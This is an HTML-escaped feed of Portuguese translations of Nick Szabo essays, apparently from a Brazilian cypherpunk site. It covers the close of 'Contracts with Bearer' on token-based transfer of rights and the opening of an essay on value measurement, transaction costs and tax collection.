&lt;p>Para implementar transferências exclusivas, o AT mantém uma lista de números de tokens revogados (cancelados). O AT corresponde a um &amp;ldquo;Banco Central&amp;rdquo; no protocolo de dinheiro digital on-line chaumiano (veja acima). Uma classe de direitos genéricos corresponde a uma &amp;ldquo;designação&amp;rdquo; da moeda. O Provedor também pode manter uma lista de hashs pendentes ou usados, como um registrador E.&lt;/p>
&lt;p>Aqui está outro exemplo de um direito genérico, ou classe de objetos fungíveis: &amp;ldquo;Um banco de dados SQL desejável com até 10 MB de armazenamento, e certas garantias de tempo de resposta padrão&amp;rdquo;.&lt;/p>
&lt;p>O AT vê apenas classes de objetos fungíveis. O Provedor e os usuários vêem instâncias particulares com estado exclusivo, por exemplo, um banco de dados preenchido com informações exclusivas.&lt;/p>
&lt;p>O Provedor age de maneira análoga a uma &amp;ldquo;loja&amp;rdquo;. É apenas outro cliente de tokens para o AT, que, como outros clientes, pode transferir ou receber tokens. Sua função especial é que ele é responsável pela emissão, onde informa ao TA sobre uma nova instância, obtém um novo token e o transfere para o cliente para quem o novo direito genérico está sendo emitido. O TA gera e destrói o fornecimento de token apenas a pedido do Provedor; caso contrário, todas as suas transferências conservam o fornecimento de um determinado direito genérico. O Provedor também é responsável pela entrega do serviço ao cliente que possui o(s) direito(s) prometido(s), momento em que o Provedor &amp;ldquo;deposita&amp;rdquo; o(s) token(s) genérico(s), instruindo o TA a diminuir o fornecimento do token. Na terminologia de dinheiro digital, o Provedor é a única entidade que tem que manter algo como uma conta bancária. Os detentores de direitos também podem manter uma conta, se quiserem usá-la para ajudar a construir reputação, ou podem simplesmente usar o TA para transferência de direitos conservados sem conta.&lt;/p>
&lt;p>O Provedor emite junto com o token de direitos genéricos inicial um juramento assinado, máquina ou humanamente legível, descrevendo aspectos do objeto que podem ser não-exclusivos ou exclusivos, juntamente com o hash dessa instância e a chave pública do(s) direito(s) genérico(s) para os quais é(são) válido(s). Por exemplo, pode-se dizer &amp;ldquo;um banco de dados contendo cotações dessas duas dúzias de ações listadas às 12:22 de segunda-feira&amp;rdquo;, sem conter as cotações. Muitas vezes, essa descrição vale mais quando agrupada com direitos exclusivos genéricos, como o direito a um tempo de resposta rápido. Os direitos específicos podem elaborar de maneira única os direitos genéricos, desde que essas elaborações não sejam tomadas para definir direitos exclusivos. Os direitos genéricos permitem que os ATs garantam exclusividade aos usuários e conservação de recursos aos Provedores, enquanto os direitos específicos descrevem o estado único para qualquer grau desejado de elaboração. O Provedor deve estar preparado para atender a qualquer promessa específica que tenha emitido, desde que seja acompanhado pelos tokens genéricos conservados adequados.&lt;/p>
&lt;p>Esse método de composição de direitos específicos e genéricos, transferidos como um pacote, mas com átomos genéricos exclusivos liberados por diferentes ATs, permite que pacotes de direitos arbitrariamente sofisticados, referindo-se a objetos com estado arbitrariamente exclusivo, sejam transferidos de forma não vinculante. Uma grande variedade de derivados e combinações são possíveis. A única restrição é que a obtenção de direitos a recursos exclusivos específicos deve ser adiada para a fase de consumo ou transferida com compensação on-line por meio de mix de comunicações caras.&lt;/p>
&lt;p>Se o Provedor desejasse garantir a exclusividade de um direito específico, a transferência parece exigir um mix de comunicações dispendiosas entre o Provedor e o cessionário, em vez de um token ofuscado barato. Por exemplo, &amp;ldquo;Deep Space Station 60 de 0500-0900 domingo&amp;rdquo; ou &amp;ldquo;um bloqueio no autoexec.bat agora&amp;rdquo; exige exclusividade para um direito específico e, portanto, parece exigir um mix de comunicações para transferir de forma não vinculativa. Por outro lado, &amp;ldquo;Um bloco de uma hora no DSS-60 em maio&amp;rdquo; e &amp;ldquo;o direito de travar o autoexec.bat em algum momento&amp;rdquo; são genéricos e podem ser transferidos de forma privada com o ofuscamento muito mais barato, dada uma população suficiente de outros tokens para essa classe de direito genérico transferido entre a emissão e o consumo de um determinado token.&lt;/p>
&lt;p>Os clientes podem lidar com o AT sem um mix de comunicação. Eles lidam com o provedor por meio de um mix de comunicação. Se os titulares inicial e final não conseguissem fazer isso, o Provedor poderia vinculá-los. Se apenas o detentor final não o fizesse, o Provedor poderia identificá-lo como o usuário real do recurso. Assim, para a privacidade total, transferências genéricas são baratas, e transferências não-exclusivas são baratas, enquanto transferências exclusivas específicas e, na verdade, o uso do objeto parecem exigir o dispendioso mix de comunicações.&lt;/p>
&lt;h2 id="agradecimentos">Agradecimentos&lt;/h2>
&lt;p>Meus agradecimentos a David Chaum, a Mark Miller, a Bill Frantz, a Norm Hardy e a muitos outros por dedicarem tempo para me dar informações valiosas sobre essas questões.&lt;/p>
&lt;h2 id="referências">Referências&lt;/h2>
&lt;ol>
&lt;li>
&lt;p>As primeiras referências públicas a essa ideia podem ser encontradas &lt;a href="http://www.i-m.com/archives/9412/0179.html" target="_blank" rel="noopener noreferrer">aqui&lt;/a>
, &lt;a href="http://szabo.best.vwh.net/smart.contracts.html" target="_blank" rel="noopener noreferrer">aqui&lt;/a>
. Eu também me referi a essa ideia durante esse período em muitas comunicações pessoais, usando as frases &amp;ldquo;instrumento titular digital&amp;rdquo;, &amp;ldquo;certificado titular digital&amp;rdquo;, &amp;ldquo;objeto escasso&amp;rdquo; e &amp;ldquo;objeto conservado&amp;rdquo;. A idéia de certificados de titular digital como uma proposta séria para o setor financeiro foi popularizada, com muitas idéias adicionais &lt;!-- raw HTML omitted -->intruigentes&lt;!-- raw HTML omitted -->, por Bob Hettinga.&lt;/p>
&lt;p>As frases &amp;ldquo;certificado titular digital&amp;rdquo; e &amp;ldquo;povoado titular digital (DBS)&amp;rdquo; foram logo depois popularizadas por um correspondente meu, Robert Hettinga, como se referindo a uma ideia legal/institucional de assentamento instantâneo e irrevogável tornada possível tanto pela limpeza imediata quanto características de privacidade desta tecnologia. &lt;a href="#ref1">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>David Chaum, &lt;a href="http://www.digicash.com/news/archive/online.html" target="_blank" rel="noopener noreferrer">Online Cash Checks&lt;/a>
&lt;a href="#ref2">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="http://nakamotoinstitute.org/literature/blind-signatures/" target="_blank" rel="noopener noreferrer">&amp;ldquo;Blind Signatures for Untraceable Payments,&amp;rdquo;&lt;/a>
D. Chaum, Advances in Cryptology Proceedings of Crypto 82, D. Chaum, R.L. Rivest, &amp;amp; A.T. Sherman (Eds.), Plenum, pp. 199-203.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="http://www.erights.org/" target="_blank" rel="noopener noreferrer">The E distributed object language&lt;/a>
&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Por favor, envie seus comentários para nszabo (at) law (ponto) gwu (ponto) edu Copyright © 1997, 1999 por Nick Szabo Permissão para redistribuir sem alteração por este concedida.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/contracts-with-bearer/" target="_blank" rel="noopener noreferrer">https://nakamotoinstitute.org/contracts-with-bearer/&lt;/a>
&lt;/p></content:encoded></item><item><title>Mensuração do Valor</title><link>https://cypherpunks.com.br/documentos/mensuracao-do-valor/</link><pubDate>Wed, 01 Jan 1997 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/mensuracao-do-valor/</guid><description>Um conhecido faz um favor para você. Como você pode pagá-la de volta e aprofundar o relacionamento? Um investidor examina o balanço de uma empresa. O que os números significam? Eles são mesmo confiáveis? Um juiz deve decidir sobre um prêmio por danos causados a um autor. Qual quantidade de dinheiro, se houver, justamente compensa o …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: MamãeCrypto
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;!-- raw HTML omitted -->Nick Szabo&lt;br>
Publicado originalmente em 1997 &lt;em>Uma questão crucial na economia dos custos de transação&lt;/em>&lt;!-- raw HTML omitted -->&lt;/p>
&lt;h3 id="introdução">Introdução&lt;/h3>
&lt;p>&lt;/p>
&lt;p>Um conhecido faz um favor para você. Como você pode pagá-la de volta e aprofundar o relacionamento? Um investidor examina o balanço de uma empresa. O que os números significam? Eles são mesmo confiáveis? Um juiz deve decidir sobre um prêmio por danos causados a um autor. Qual quantidade de dinheiro, se houver, justamente compensa o sofrimento do queixoso? Uma ampla variedade de relações humanas e institucionais, desde as mais amigas até as mais antagônicas, deve enfrentar o espinhoso problema do valor: como podemos distinguir com segurança, usando as informações de nossos sentidos falíveis, aquilo que valorizamos daquilo que não? Como podemos descobrir o que outra pessoa valoriza? &lt;a href="https://nakamotoinstitute.org/literature/shelling-out/" target="_blank" rel="noopener noreferrer">Dinheiro, trabalho assalariado&lt;/a>
, mercados e muitas outras instituições econômicas tomam a forma que possuem principalmente porque resolvem problemas de mensuração de valor. Tais questões também estão no centro da atual crise da contabilidade. Questões de valor são inerentemente subjetivas e pessoais. O valor é muito diferente dos fenômenos objetivos da física, da química e afins. As sociedades desenvolveram instituições como firmas e mercados competitivos para estabelecer preços, precedentes legais e procedimentos judiciais para fazer julgamentos, e assim por diante. Essas instituições, por sua vez, freqüentemente se baseiam na resposta à segunda pergunta, o tópico de nosso redação; Como podemos determinar com segurança o valor daquilo que observamos? Examinaremos a cobrança de impostos como uma instância antagônica do problema de mensuração. A última seção deste ensaio incidirá sobre uma instituição particular desenvolvida para medir valor; contabilidade; e sugerir como isso pode aumentar para desafiar as mudanças radicais em andamento em nossas economias de serviços e informações.&lt;/p>
&lt;h3 id="relacionamentos-econômicos">Relacionamentos Econômicos&lt;/h3>
&lt;p>No século XIX, os economistas desenvolveram uma teoria de mercados de commodities perfeitamente competitivos (geralmente chamados agora de &amp;ldquo;modelo neoclássico&amp;rdquo;). Essa é a fonte de curvas de oferta e demanda, por exemplo. No mercado ideal, a oferta equilibra a demanda resultando em um preço que incorpora todas as habilidades e preferências relevantes dos participantes do mercado. Em tal mercado, esse equilíbrio entre as habilidades necessárias para criar uma mercadoria e as preferências por essa mercadoria constituem o valor dessa mercadoria; podemos medir o valor pelo preço de mercado de equilíbrio. Alguns mercados modernos, especialmente os bem conhecidos, como os mercados futuros de commodities, abordam esse ideal na prática. No entanto, muitas outras instituições, como a firma hierárquica, operam de maneiras muito diferentes. E os mercados modernos são em grande parte de origem bastante recente. Mesmo hoje, a maioria das relações econômicas humanas, como as que ocorrem dentro de uma empresa, estão longe desse ideal. No mercado competitivo, uma mercadoria é trocada por outra. (O dinheiro é apenas um tipo de comodidade particularmente interessante). Para que este mercado funcione; para que os preços comuniquem com precisão o valor; primeiro os participantes devem ser capazes de medir o valor das duas mercadorias negociadas. Na verdade, essa é a principal propriedade que distingue uma mercadoria de um bem ou serviço menos economicamente tratável; a capacidade das partes para medir seu valor; a capacidade das partes de observar propriedades de uma mercadoria ou serviço, combinando o que observam com suas preferências particulares, e certificando-se de que esse processo não seja falsificado por traders astutos. O modelo de mercado competitivo foi tão bem-sucedido que os economistas modernos estão agora se aproximando de outras instituições econômicas que antes não eram adjudicadas; como a empresa; e perguntando por que eles existem em tudo! Eles estão trabalhando de trás para a frente a partir de uma teoria muito clara de mercados competitivos para explicar a ampla variedade de outros tipos de relações econômicas, geralmente formalizadas por direitos de propriedade e contratos, em que entramos. Esta escola é mais amplamente conhecida como a escola de economia &amp;ldquo;custo de transação&amp;rdquo;. Muitas vezes é referido como &amp;ldquo;novo institucional&amp;rdquo; ou &amp;ldquo;escola de direitos de propriedade&amp;rdquo;. A ideia de custos de transação foi desenvolvida pelo economista ganhador do prêmio Nobel, Ronald Coase. Seus herdeiros brilhantes incluem Oliver Hart e Oliver Williamson, junto com Steve Cheung, Yoram Barzel, Armen Alchian, Harold Demsetz, Janet Landa, Robert Ellickson e muitos outros. Ao comparar uma ampla variedade de formas contratuais com o mercado de commodities ideal, e reutilizando muitas das mesmas premissas usadas pelos economistas neoclássicos; indivíduos com interesse próprio racional, preferências únicas e habilidades únicas; estamos entendendo melhor essas outras instituições econômicas. As economias modernas contêm uma ampla variedade de instituições comerciais, de empresas hierarquicamente comandadas, por um lado, a mercados de commodities livremente competitivos, por outro. Entre uma grande variedade de instituições e os contratos que as formalizam. Quando alguém inicia uma nova empresa em vez de contratar como empregado em uma empresa atual, podemos pensar nessa decisão como um &amp;ldquo;voto&amp;rdquo; de que a economia precisa de mais relações de mercado e menos relacionamentos empregado-empregador. Ao contrário, quando uma empresa compra outra, elas estão implicitamente apostando que a economia precisa de menos mercado e mais firma. Os socialistas, vendo as tendências de integração e economias de escala no capitalismo industrial, pensavam que o mundo acabaria como uma grande empresa, e decidiram que esta empresa deveria ser administrada pelo governo. Isso funcionou horrivelmente. Outros idealizaram um mundo em que não há empresas; todo mundo é um empreiteiro privado, vendendo seus serviços para outras pessoas. Em muitos setores, isso também não é uma novidade. Oliver Williamson e outros economistas estudaram muitas dessas formas e elaboraram alguns critérios que tornam os mercados de commodities competitivos menos do que perfeitos, fazendo com que outros formulários contratuais sejam usados. (Aqui &amp;ldquo;forma contratual&amp;rdquo; é a abreviatura de um certo tipo de relação comercial - emprego, franchising, troca de mercadorias, etc. O contrato utilizado pelas partes é geralmente a descrição mais formal e completa do seu relacionamento, bem como o &amp;ldquo;protocolo de segurança&amp;rdquo;. &amp;ldquo;Isso define as regras básicas do relacionamento. Esses economistas identificaram uma série de limitações da troca ideal de mercadorias que muitas vezes fazem com que outras formas contratuais sejam usadas. Esses incluem:&lt;/p>
&lt;ol>
&lt;li>&lt;strong>Custos de segurança.&lt;/strong> Outros tipos de custos de transação são incorridos por partes que são oportunistas; são egoístas, mas seguem a letra, se não necessariamente o espírito das regras de um relacionamento (se essas regras são legais, contratuais ou informais). Custos de segurança são incorridos de, ou para proteger um relacionamento contra, partes que são completamente maliciosas; eles podem quebrar qualquer uma das regras, usar ameaças de força, ou realmente realizar atos de invasão, roubo ou violência, a fim de satisfazer seus (infelizmente não tão raros) tipos coercitivos de preferências.&lt;/li>
&lt;li>&lt;strong>Regra incompletude&lt;/strong> – a dificuldade das partes em antecipar todas as contingências que possam ocorrer em um relacionamento e, portanto, a incapacidade de planejá-las com regras (por exemplo, por termos em um contrato). A maioria das disputas que chegam aos tribunais, e os novos precedentes legais mais interessantes, ocorrem em situações nas quais as partes que entram em um relacionamento não previram o suficiente para lidar com a frente.&lt;/li>
&lt;li>&lt;strong>Custo de saída&lt;/strong> e/ou &lt;strong>investimentos específicos&lt;/strong> de um relacionamento particular. Por exemplo, quando você faz uma aula para aprender a usar o Windows ou o Word, está investindo em um relacionamento com a Microsoft. Outro exemplo é quando uma ferrovia é construída para uma mina de carvão. A ferrovia agora depende da mina para os negócios, e o operador da mina depende da ferrovia para transportar seu carvão. Um terceiro exemplo é o layout em um chão de fábrica, onde os resultados da operação de uma máquina alimentam outra máquina específica. Os exemplos mais comuns são os funcionários que desenvolvem relacionamentos e habilidades de aprendizagem específicas de um tipo de trabalho. Nestes tipos de relações com altos investimentos ou custos de saída, sem boas salvaguardas contratuais, você pode acabar preso em um mau relacionamento; mesmo se ficar ruim, o outro cara te trai, pode ser muito caro sair do relacionamento, ou você pode perder seu investimento. Quando existe a falta de capacidade de especificar regras e investimentos específicos de relacionamento, o resultado é muitas vezes a integração vertical em uma única empresa. A mina de carvão pode comprar a ferrovia, as operações da máquina ocorrem em um piso de fábrica de propriedade de uma única empresa e assim por diante. Por outro lado, uma empresa tem deseconomias de escala devido à crescente incapacidade de adequar preferências a habilidades em empresas maiores. Como Friedrich Hayek apontou, deseconomias de escala na distribuição de conhecimento sobre habilidades e preferências são uma grande razão pela qual o socialismo funciona muito mais mal do que as economias de mercado. Mais geralmente, essas deseconomias limitam o tamanho da empresa. Certas inovações (como na contabilidade no início da revolução industrial, ou na gestão da cadeia de suprimentos nas duas últimas décadas) melhoraram a distribuição confiável do conhecimento dentro de uma empresa e, assim, permitiram que as empresas crescessem. As inovações que melhor cobrem contingências ou reduzem a necessidade de investimentos específicos de relacionamento e custos de saída podem prejudicar empresas maiores e beneficiar um número maior de empresas menores. Em vez de um mercado de commodities, muitas vezes uma forma contratual intermediária entre um mercado e uma empresa, como uma franquia, é usada. Uma franquia é um contrato de longo prazo que, grosso modo, especifica muitas regras básicas para operar uma empresa, mas deixa problemas temporários ou exclusivos a critério do operador local.&lt;/li>
&lt;li>Em breve, nos referiremos, talvez, ao tipo mais importante de custo de transação, &lt;strong>a medição de valor&lt;/strong>, o principal assunto de nosso ensaio.&lt;/li>
&lt;/ol>
&lt;p>Antes de fazermos isso, porém, observemos que esses tipos de custos de transação, embora primeiro estudados no contexto de mercados, não estão confinados a mercados ou mesmo a instituições embutidas no mercado. Ocorrem sempre que um bem é transferido ou um serviço é prestado de acordo com um conjunto de regras ou costumes, por mais simples ou complicado que seja. Esses custos de transação não apenas fornecem uma base para comparar instituições não mercantis ou extra-mercado, como a firma, com o mercado; elas também se aplicam a uma ampla variedade de outras instituições, incluindo muitas que normalmente não imaginamos como instituições econômicas. Assim, por exemplo, as antigas instituições de herança, casamento, tributo, cobrança de impostos e lei de responsabilidade civil envolviam um componente importante da transferência de riqueza. Todos estão sujeitos aos principais tipos de custos de transação descritos aqui; incluindo o nosso principal tópico.&lt;/p>
&lt;h3 id="mensuração-do-valor">Mensuração do Valor&lt;/h3>
&lt;p>O problema de medição é muito amplo. Ele entra em jogo em qualquer sistema de troca; reciprocidade de favores, troca, &lt;a href="https://nakamotoinstitute.org/shelling-out/" target="_blank" rel="noopener noreferrer">dinheiro&lt;/a>
, crédito, emprego ou compra em um mercado. É importante na extorsão, tributação, tributo e estabelecimento de penalidades judiciais. É até importante no altruísmo recíproco em animais. Considere macacos trocando favores; diga pedaços de frutas para arranhões nas costas. O aliciamento mútuo pode remover carrapatos e pulgas que um indivíduo não pode ver ou alcançar. Mas o quanto a preparação versus quantas peças de fruta constitui uma reciprocidade que os dois lados considerarão como &amp;ldquo;justa&amp;rdquo; ou, em outras palavras, não como uma deserção? São vinte minutos de coçar atrás de um pedaço de fruta ou dois? E quão grande é um pedaço? E quanto tempo dura vinte minutos? Em alguns casos, isso é relativamente fácil de resolver, como acontece com o atraso na troca de sangue por sangue em morcegos-vampiros. Esses morcegos podem voltar para casa de uma missão de caça, sobrecarregados ou famintos. Morcegos superestufados podem regurgitar o sangue para alimentar os famintos. O destinatário grato pode lembrar o favor de devolvê-lo em uma viagem de caça futura, quando as tabelas podem ser transformadas. E, de fato, algum grau de comércio recíproco ocorre entre os morcegos vampiros, mesmo entre os não-parentes. Mesmo esse caso simples de trocar sangue por sangue é, no entanto, muito mais complicado do que parece. Como os morcegos estimam o valor do sangue que receberam? Eles estimam o valor de um favor em peso, a granel, por gosto, por sua capacidade de saciar a fome ou outras variáveis? Da mesma forma, as complicações de medição surgem até mesmo na simples troca de macacos de &amp;ldquo;você coça minhas costas e eu coço as suas&amp;rdquo;. Para a grande maioria das trocas potenciais, o problema de medição é intratável para os animais. Ainda mais do que o problema mais fácil de lembrar rostos e combiná-los a favores, a capacidade de ambas as partes concordarem com precisão suficiente em uma estimativa do valor de um favor em primeiro lugar é provavelmente a principal barreira ao altruísmo recíproco entre os animais. Também é provável que a barreira mais importante seja a troca entre humanos. Muitos tipos de troca, provavelmente muitos mais do que a maioria dos economistas percebem, são inviabilizados pela incapacidade de uma ou ambas as partes da bolsa avaliarem seu valor. Durante a maior parte da história humana, a maioria dos tipos de mercado possíveis hoje não era viável, em grande parte devido à incapacidade dos potenciais participantes do mercado de mensurar o valor: estimar o valor da transação para si e usar essas estimativas para descobrir e concordar com uma medida objetiva comum. A mensuração do valor foi e também é importante para o desenvolvimento de muitas instituições econômicas relacionadas aos mercados. A contabilidade, que examinaremos a seguir, foi crucial para o desenvolvimento de grandes empresas e sistemas modernos de tributação. O processo de determinar o valor de um produto a partir de observações é necessariamente incompleto e dispendioso. Por exemplo, um comprador pode ver que uma maçã é vermelha brilhante. Isso tem alguma correlação com seu sabor (a qualidade que um comprador típico realmente deseja de uma maçã), mas dificilmente é perfeita. A aparência da maçã não é um indicador completo; uma maçã às vezes tem um ponto podre lá dentro, mesmo que a superfície esteja perfeitamente brilhante e vermelha. Chamamos uma medida indireta de valor; por exemplo, o brilho, a vermelhidão ou o peso da maçã; uma medida. De fato, todas as medidas de valor, além dos preços em um mercado ideal, são medidas substitutas; O valor real é subjetivo e amplamente tácito. Tais observações também têm um custo. Pode levar algum tempo para separar maçãs para encontrar as mais brilhantes e mais vermelhas, e enquanto isso, o comprador mata as outras maçãs. Custa ao vendedor colocar um brilho brilhante e falso de cera, e custa ao comprador porque ele pode ser enganado pela cera, e porque ele tem que comer cera com sua maçã. Às vezes, esses custos de medição surgem apenas da imperfeição da comunicação honesta. Em outros casos, como encerar a maçã, o custo ocorre porque as partes racionalmente auto-interessadas jogam com o observável. Medidas são componentes críticos das instituições; tais como leilões, contratos, sistemas de contabilidade, regras de danos legais, regras fiscais, etc.; que alinham incentivos entre as partes que, antes de participarem da instituição, possuem incentivos incompatíveis. Podemos dividir o problema de medição em dois componentes; o primeiro, escolhendo os fenômenos e unidades que serão medidos, e segundo, medindo esses atributos de forma a minimizar a falsificação da medida entre as partes cujos incentivos em relação ao valor estão desalinhados. O custo geralmente pode ser medido de maneira muito mais objetiva do que o valor. Como resultado, as medidas proxy mais comuns são vários tipos de custos. Exemplos incluem:&lt;/p>
&lt;ol>
&lt;li>Pagar pelo emprego em termos de &lt;a href="http://szabo.best.vwh.net/synch.html" target="_blank" rel="noopener noreferrer">tempo trabalhado&lt;/a>
, e não pela quantidade produzida (taxas por peça) ou outras medidas possíveis. O tempo mede o sacrifício, ou seja, o custo das oportunidades perdidas pelo empregado.&lt;/li>
&lt;li>A maioria dos números registrados e relatados pelos contadores para os ativos são custos e não os preços de mercado que se espera que sejam recuperados pela venda de ativos.&lt;/li>
&lt;li>Dinheiro não-fiduciário e colecionáveis obtêm seu valor principalmente de sua escassez, *custo de reposição&lt;/li>
&lt;/ol>
&lt;p>Agora olhamos para um conjunto particularmente desafiador de problemas de medição; aqueles enfrentados por um cobrador de impostos. Tributação sendo o tipo menos cooperativo de relação econômica; os incentivos entre as partes são os mais desalinhados; o jogo de medições jogado entre as partes toma sua forma mais séria.&lt;/p>
&lt;h3 id="o-problema-do-cobrador-de-impostos">O Problema do Cobrador de Impostos&lt;/h3>
&lt;p>A cobrança de impostos é o departamento mais eficiente do governo. Sua eficiência rivaliza com a de muitas instituições do setor privado. Do ponto de vista de muitos contribuintes, essa é uma afirmação incrível, uma vez que os cobradores de impostos cobram dinheiro que nós mesmos sabemos como gastar muito bem, obrigado e, muitas vezes, gastá-lo em atividades incrivelmente inúteis. E as regras pelas quais elas são tomadas parecem muitas vezes arbitrárias. As regras fiscais costumam ser complexas, mas, no entanto, deixam de considerar muitos eventos importantes para o lucro de nossos rendimentos, que nos diferenciam de outros contribuintes. Como o dinheiro é gasto está fora do escopo da alegação de que os cobradores de impostos são extraordinariamente eficientes. É o próprio processo de coleta que é o assunto dessa reivindicação e as regras de coleta de impostos. Este ensaio demonstrará a eficiência das regras do coletor de impostos por dois argumentos:&lt;/p>
&lt;ol>
&lt;li>Primeiro, mostraremos por que os coletores de impostos têm um incentivo para serem eficientes (e o que &amp;ldquo;eficiência&amp;rdquo; significa nesse contexto)&lt;/li>
&lt;li>Em segundo lugar, exploraremos o problema da criação de regras tributárias e veremos como a dificuldade de medir o valor eleva a sua feia posição. As regras fiscais resolvem o problema da medição de valor através de soluções brilhantes, muitas vezes não óbvias, semelhantes às soluções desenvolvidas nos setores privado e legal. Freqüentemente (como, por exemplo, com a contabilidade), os coletores de impostos compartilham soluções usadas para mensurar o valor em relacionamentos privados (como a relação de gerência e de investidores ausentes em corporações de ações conjuntas). É ao fazer essas trocas muito difíceis e não intuitivas, e depois executá-las em uma série de consultas, auditorias e ações de cobrança, que os cobradores de impostos otimizam eficientemente suas receitas, mesmo que os resultados pareçam bastante desperdiçadores para o contribuinte.&lt;/li>
&lt;/ol>
&lt;p>Os incentivos do coletor de impostos estão alinhados com os outros ramos de seu governo em uma tarefa que beneficia todos os associados ao governo, ou seja, a arrecadação de sua receita. Nenhuma organização de qualquer tipo coleta mais receita com menos gastos do que as agências de arrecadação de impostos. É claro que eles têm a vantagem da coerção, mas precisam superar os problemas de medição que muitas vezes são os mesmos de outros usuários de sistemas contábeis, como os proprietários de grandes empresas. Não surpreende, portanto, que os coletores de impostos tenham, algumas vezes, sido pioneiros em técnicas de mensuração de valor e, muitas vezes, tenham sido os primeiros a utilizá-los em larga escala. Como outros tipos de auditores, o problema de medição do coletor de impostos é mais difícil do que parece. O gerente de investimento Terry Coxon descreveu bem. Medidas ruins ou medições imprecisas permitem que algumas indústrias subestimam sua renda, enquanto forçam outros a pagar impostos sobre a renda que não conseguiram. Coxon descreve o resultado: as indústrias que estão feridas tendem a encolher. As indústrias que se beneficiam pagam menos impostos do que poderiam ser extraídos. Em ambos os casos, menos receita é gerada para o homem do imposto do que ele poderia obter com regras melhores. Esta é uma aplicação da curva de Laffer às fortunas de indústrias específicas. Nessa curva, desenvolvida pelo brilhante economista Arthur Laffer, à medida que a alíquota do imposto aumenta, o volume de receita aumenta, mas a um ritmo cada vez mais lento do que a alíquota, devido ao aumento da evasão, da evasão e, acima de tudo, do desincentivo ao engajamento na atividade tributada. A uma determinada taxa devido a estas razões, as receitas fiscais são otimizadas. Caminhar a taxa de imposto para além dos resultados ótimos de Laffer em receitas mais baixas em vez de mais altas para o governo. Ironicamente, a curva de Laffer foi usada por defensores de impostos mais baixos, embora seja uma teoria da arrecadação de impostos ótima para a receita do governo, não uma teoria de arrecadação de impostos ótima para o bem-estar social ou satisfação de preferência individual. Em uma escala maior, a curva de Laffer pode ser a lei econômica mais importante da história política. Adams&lt;!-- raw HTML omitted -->&lt;a href="#fn1">[1]&lt;/a>
&lt;!-- raw HTML omitted --> a usa para explicar a ascensão e queda de impérios. Os governos mais bem sucedidos foram implicitamente guiados por seus próprios incentivos; tanto o seu desejo de curto prazo para a receita e seu sucesso a longo prazo contra outros governos; para otimizar suas receitas de acordo com a curva de Laffer. Governos que sobrecarregaram seus contribuintes, como a União Soviética e depois o Império Romano, acabaram na pilha de poeira da história, enquanto os governos que coletavam abaixo do ideal eram frequentemente conquistados por seus vizinhos melhor financiados. Os governos democráticos podem manter altas receitas fiscais ao longo do tempo histórico por meios mais pacíficos do que conquistar estados subfinanciados. Eles são os primeiros estados da história com receitas fiscais tão altas em relação às ameaças externas que eles podem se dar ao luxo de gastar a maior parte do dinheiro em áreas não militares. Seus regimes fiscais operaram mais perto do ótimo Laffer do que os da maioria dos governos anteriores. (Alternativamente, esse luxo pode ser possibilitado pela eficiência das armas nucleares em deter o ataque, em vez de aumentar os incentivos das democracias para otimizar a arrecadação de impostos). Quando aplicamos a curva de Laffer para examinar o impacto relativo das regras fiscais em várias indústrias, concluímos que o desejo de otimizar as receitas fiscais faz com que os cobradores de impostos desejem medir com precisão a renda ou a riqueza que está sendo tributada. A mensuração do valor é crucial para determinar os incentivos do contribuinte para evitar ou fugir do imposto ou optar pela desativação da atividade tributada. Por sua parte, os contribuintes podem e falsificam essas medidas de várias maneiras. A maioria dos esquemas de abrigo de impostos, por exemplo, baseia-se no contribuinte, minimizando o valor relatado enquanto otimiza o valor real e privado. A cobrança de impostos envolve um jogo de medidas com incentivos desalinhados, semelhante, mas ainda mais severo, do que jogos de medição entre proprietário e empregado, investidor e administrador, loja e comprador, e réu demandante (ou juiz culpado). Tal como acontece com as regras contábeis, as regras de danos legais ou os termos contratuais, a escolha de regras fiscais envolve a troca de complexidade (ou, mais genericamente, os custos de medição) por medidas de valor mais precisas. E o pior de tudo, assim como acontece com os outros problemas de elaboração de regras, as escolhas de regras acabam sendo baseadas em medidas subjetivas de valor. Assim, um grande número de casos é deixado onde o código tributário é injusto ou pode ser evitado. Como os coletores de impostos não são leitores de mentes, as regras e julgamentos tributários devem substituir os valores subjetivos reais por seus julgamentos sobre quais seriam as preferências das pessoas “razoáveis” ou “médias” na situação. Coxon fornece o seguinte exemplo. Imagine que quiséssemos otimizar as regras de imposto de renda pessoal para avaliar a receita com a maior precisão possível. Podemos começar o raciocínio ao longo destas linhas:&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;&amp;hellip; olhe um pouco mais de perto e você descobrirá que um indivíduo incorre em custos e despesas ao receber um salário. Ele tem que pagar pelo transporte para o trabalho. Ele pode gastar dinheiro em roupas que ele não compraria e em almoços que custariam menos em casa. E ele pode ter gasto milhares de dólares adquirindo as habilidades e conhecimentos que ele usa neste trabalho. Regras ideais e precisas para medir sua renda levariam, de alguma forma, todos esses e outros custos em consideração. As regras deduziriam o custo da viagem (a menos que ele gostasse de viajar pela cidade de manhã cedo e mais tarde à tarde). Eles deduziriam o custo das roupas que ele não pagaria (na medida em que excede o custo das roupas que compraria de qualquer maneira). Eles deduziriam a diferença entre o custo de comer o almoço no trabalho e o custo do almoço em casa (a menos que ele almoçasse de qualquer maneira). E a cada ano essas regras ideais deduziriam uma parte do custo de sua educação (a menos que ele não aprendesse nada útil na escola ou se divertisse o suficiente para compensar o custo)&amp;rdquo;.&lt;/p>
&lt;/blockquote>
&lt;p>Porque existem limites para a complexidade e &amp;hellip;&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;&amp;hellip;porque os agentes fiscais não podem ler mentes, o governo lhes dá regras arbitrárias a seguir: nenhuma dedução é permitida para despesas de deslocamento, para roupas adequadas para uso fora do trabalho, para almoços que não fazem parte do “entretenimento comercial” ou pelo custo de adquirir as habilidades que um trabalho requer (embora você possa deduzir o custo de melhorar suas habilidades).&amp;rdquo;&lt;/p>
&lt;/blockquote>
